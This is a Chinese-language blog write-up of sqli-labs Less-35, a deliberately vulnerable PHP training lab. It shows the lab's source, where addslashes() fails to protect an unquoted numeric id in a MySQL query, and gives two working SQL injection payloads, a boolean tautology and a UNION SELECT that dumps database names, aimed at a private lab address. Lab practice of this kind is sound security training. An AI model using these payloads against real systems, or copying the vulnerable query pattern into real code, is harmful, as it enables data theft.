sqli-Labs————less-35

FLy_鵬程萬里發表於2018-05-20
SQL

Less-35

檢視原始碼：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-35 **why care for addslashes()**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="5" color="#00FF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}       

?>
</font> </div></br></br></br><center>
<img src="../images/Less-35.jpg" />
</br>
</br>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: The Query String you input is escaped as : ".$id;
?>
</center>
</font> 
</body>
</html>

根據所給的sql語句，以及過濾規則，這裡直接給出payload：

盲注：

http://192.168.11.136/sqli-labs/Less-35?id=-1||1 --+


明注：

http://192.168.11.136/sqli-labs/Less-35?id=-1 union select 1,1,group_concat(schema_name) from information_schema.schemata --+


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